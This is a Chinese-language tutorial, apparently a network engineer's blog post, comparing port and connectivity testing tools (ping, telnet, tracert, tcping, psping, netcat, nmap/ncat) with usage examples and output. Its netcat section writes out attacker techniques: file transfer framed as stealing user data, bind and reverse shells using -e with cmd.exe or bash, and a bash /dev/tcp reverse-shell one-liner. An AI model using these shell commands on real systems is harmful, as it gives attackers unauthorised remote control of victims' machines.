下面列举下网工会用到的一些网络测试工具,分别为ping、telnet、tracert、tcping、psping、nc(支持UDP)、nmap我会分别列举其优缺点,来历,这也是我常用的。

1.ping
ping 命令以前是一个很好用并且常用的网络测试工具,它是基于 ICMP 协议,但是出于网络安全等因素,大部分网络环境以及云环境可能都会禁止 ICMP 协议,所以在工作中,我们必须掌握一些其他比较流行的网络测试工具。

优点:系统自带,可以直接用

缺点:只能测试网络层面的连通性,无法测试 tcp/udp端口连通性

用法示例:ping -S 192.168.0.106 -n 100 -l 3000 192.168.0.1(源地址、ping次数、包长度)-t是一直ping

2.telnet

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。有时我们也用该命令来检测主机到目标主机之间的端口连通情况。

优点:系统自带,不过需要在windows组件那安装一下。

缺点:由于telnet是基于tcp的,所以无法测试udp端口,而且单次只能测试一个,而且如果测试某端口时,如果端口通,会跳转到新的黑窗口,无法退出去开始另一个测试;如果端口不通,会一直显示正在连接,挺长一段时间才会显示连接失败,非常影响测试多个端口或主机的效率。

用法示例:telnet 192.168.0.1 80
3.tracert

Traceroute是用来侦测显示主机到目标主机之间所经路由的IP地址,通过traceroute我们可以知道信息从你的主机到目标主机是走的什么路径,是一种便利的常用的工具。在windows系统下为:tracert

优点:网络层面的跟踪路径,不带任何参数,回将IP地址做dns查询,查询出主机名,速度较慢,一般加个-d,,不解析为主机名.

用法示例:tracert -d 192.168.0.1

Tcproute也是探测路径的,不太好用,有空可以再测试,主要是慢

tcproute -i 4 192.168.0.1 默认是80端口,-i 4 是指定接口,你要选择要用的那个网卡

4.tcping

tcping用于TCP端口的连通性测试,可以看到端口是否打开,还有具体延迟。默认端口为80,如果是其他地址在IP地址后空格,然后输入端口号即可。

优点:和ping一样好用,端口不通,2s超时,就能看到结果。

缺点:只能测试TCP端口

下载链接:https://elifulkerson.com/projects/tcping.php

C:\Users\xueyu>tcping 192.168.0.1
Probing 192.168.0.1:80/tcp - Port is open - time=13.913ms
Probing 192.168.0.1:80/tcp - Port is open - time=2.166ms
Probing 192.168.0.1:80/tcp - Port is open - time=2.253ms
Probing 192.168.0.1:80/tcp - Port is open - time=1.911ms

5.psping

PsPing是微软PSTools工具套件中的其中一个命令。除了ICMP ping测试,它主要用来测试TCP端口的连通性,还可以测试TCP/UDP网络时延和带宽。不过,PsPing只能在 Windows 中运行。如果您需要在 Linux 中发起 TCP 端口连通性和网路时延的测试,可以使用PaPing 。PaPing 是一个跨平台的开源工具。它的功能相对PsPing而言更简单,只支持 TCP 端口的相关测试,不支持UDP端口的测试。
工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psping
下载完PSTools.zip包之后,放到任意本地磁盘内,解压之后,将 psping.exe拷贝到 C:\Windows\System32 下,那么你在 cmd 命令窗口的任意目录都可以使用 PsPing 命令了。当然你也可以单独将 psping.exe 命令解压出来放在任意路径,然后从命令提示符来运行。只是这样就需要在运行命令前转换到 psping.exe 所在的路径。
主要介绍微软的测试工具Psping,该工具功能主要包括:ICMP Ping、TCP Ping、延迟测试、带宽测试。
需要说明一种应用场景:由于Windows Azure数据中心禁ICMP,使用Psping的TCP Ping的功能来测试联通性或者故障排查就非常有用了。

优点:ICMP Ping、TCP Ping、延迟测试、带宽测试。这几个功能都包括了.

缺点:  只能测试TCP端口,UDP用于带宽测试

用法示例:TCP ping测试

C:\Users\xueyu>psping 192.168.0.1:80

PsPing v2.10 - PsPing - ping, latency, bandwidth measurement utility
Copyright (C) 2012-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

TCP connect to 192.168.0.1:80:
5 iterations (warmup 1) ping test:
Connecting to 192.168.0.1:80 (warmup): from 192.168.0.106:14839: 1.87ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14840: 2.03ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14841: 2.09ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14842: 4.10ms
Connecting to 192.168.0.1:80: from 192.168.0.106:14844: 3.19ms

TCP connect statistics for 192.168.0.1:80:
  Sent = 4, Received = 4, Lost = 0 (0% loss),
  Minimum = 2.03ms, Maximum = 4.10ms, Average = 2.85ms
带宽测试(UDP,默认TCP,2000包长,100个包)
C:\Users\xueyu>psping -b -u -l 2000 -n 100 218.241.164.5:8443


PsPing v2.10 - PsPing - ping, latency, bandwidth measurement utility
Copyright (C) 2012-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Setting warmup count to match number of outstanding I/Os: 8
UDP bandwidth test connecting to 218.241.164.5:8443: Connected
108 iterations (8 warmup) sending 2000 bytes UDP bandwidth test: -152627100%

UDP sender bandwidth statistics:
  Sent = 100, Size = 2000, Total Bytes: 214000,
  Minimum = 4.35 MB/s, Maximum = 4.35 MB/s, Average = 4.35 MB/s
Error exchanging UDP statistics: 你的主机中的软件中止了一个已建立的连接。

6.nc

nc是netcat的简写,有网络界的瑞士×××的美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。

使用场景:NC为我们提供了四大功能(作为server发起端口侦听、作为client扫描端口、传输文件、测试网速),响应速度快。

优点:响应速度快,而且支持UDP,可以用来传文件,不过这个我没用过

缺点:只能看到端口是否通,无法看到具体延迟

使用方法:nc -vnz 地址 端口   (-v :显示详细信息(那一行输出)、-n:不做dns查询、-z:零I/O,只做探测、-u:支持UDP)

C:\Users\xueyu>nc -vnz 218.241.164.5 8443
(UNKNOWN) [218.241.164.5] 8443 (?) open
C:\Users\xueyu>nc -vunz 218.241.206.66 1234
(UNKNOWN) [218.241.206.66] 1234 (?) open

其他功能

常用功能总结:

a)  nc dst_hostname dst_port:nc实现连接到dst_host对应的dst_port上。在连接成功后,可以正常的输入一些该端口绑定服务所识别的命令。
GET /HTTP/1.0

b) nc –l –p src_port:src_port开启侦听模式,等待连接。
nc –l –vp src_port < input_filename inputfilename与src_port绑定
nc dst_hostname dst_port > output_filename dst_port与outputfilename绑定
最终可以实现从input_filename转移到output_filename,这个过程可以帮助***偷走用户的一些关键资料。
这2个方向可以倒置,实现的功能就完全相仿了,***可以往用户目录传输一些文件。

c) shell反弹
受害者V: nc dst_host dst_port –e  [cmd.exe|bin/bash|bin/zsh ]
***者A: nc –lvp src_port
***者开启监听模式,受害者绑定shell反弹给***者

d) shell正向连接
受害者V:   nc -lvp src_port    –e [cmd.exe|bin/bash|bin/zsh]
***者A: nc dst_host dst_port

e) 受害者机器上没有netcat,仍然可以做到反弹:
***者A:nc –l –p src_port
受害者V:bash -i >& /dev/tcp/dst_host/dst_port0>&1

更多介绍:

https://www.cnblogs.com/chengd/p/7565280.html


7.nmap

全称Network Mapper,是Linux下的网络扫描和嗅探工具包,也称之为“系统漏洞扫描之王”。

使用场景:nmap提供了一些基本功能,比如主机发现、端口扫描、服务扫描、系统扫描等,它不仅可以测试端口连通性,还可以获取地址的服务类型、状态、端口及协议等信息。


优点:能看出来该端口下是啥协议,貌似功能挺多的。ncat 是nmap的一个组件 ncat是nc的加强版,基本命令都支持

缺点: 速度慢

C:\Users\xueyu>nmap -p 218.241.206.66 -8443
nmap: illegal option -- 8
See the output of nmap -h for a summary of options.

C:\Users\xueyu>nmap -p 8443 218.241.206.66
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-05 19:07 ?D1ú±ê×?ê±??
Nmap scan report for 218.241.206.66
Host is up (0.11s latency).

PORT     STATE SERVICE
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 36.42 seconds

中文参考手册

http://www.nmap.com.cn/doc/manual.shtm

ncat   连接UDP端口

C:\Users\xueyu>ncat -vuzn 218.241.164.5 8443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 218.241.164.5:8443.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.14 seconds

例子: 1) 配置为服务器段,监听端口

通过过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:

$ ncat -l port_number

比如,

$ ncat -l 8080

服务器就会开始在 8080 端口监听入站连接。

例子: 2) 连接远程系统

使用下面命令可以用 nc 来连接远程系统,

$ ncat IP_address port_number

让我们来看个例子,

$ ncat 192.168.1.100 80

这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容

GET / HTTP/1.1

Linux下使用nping测试TCP\UDP延迟

https://bugxia.com/238.html



参考资料:
http://blog.sina.com.cn/s/blog_5ceb51480102xwp2.html

你还在ping吗?7种进阶方法让你快速测试端口连通性

http://network.51cto.com/art/201903/594117.htm    

https://www.cnblogs.com/jonnyan/p/9662791.html

NetCat简介


https://blog.csdn.net/phone15062117684/article/details/79039735

Netcat详解

https://blog.csdn.net/fageweiketang/article/details/82833193

ncat 几个常用例子

https://blog.csdn.net/u014389734/article/details/79040489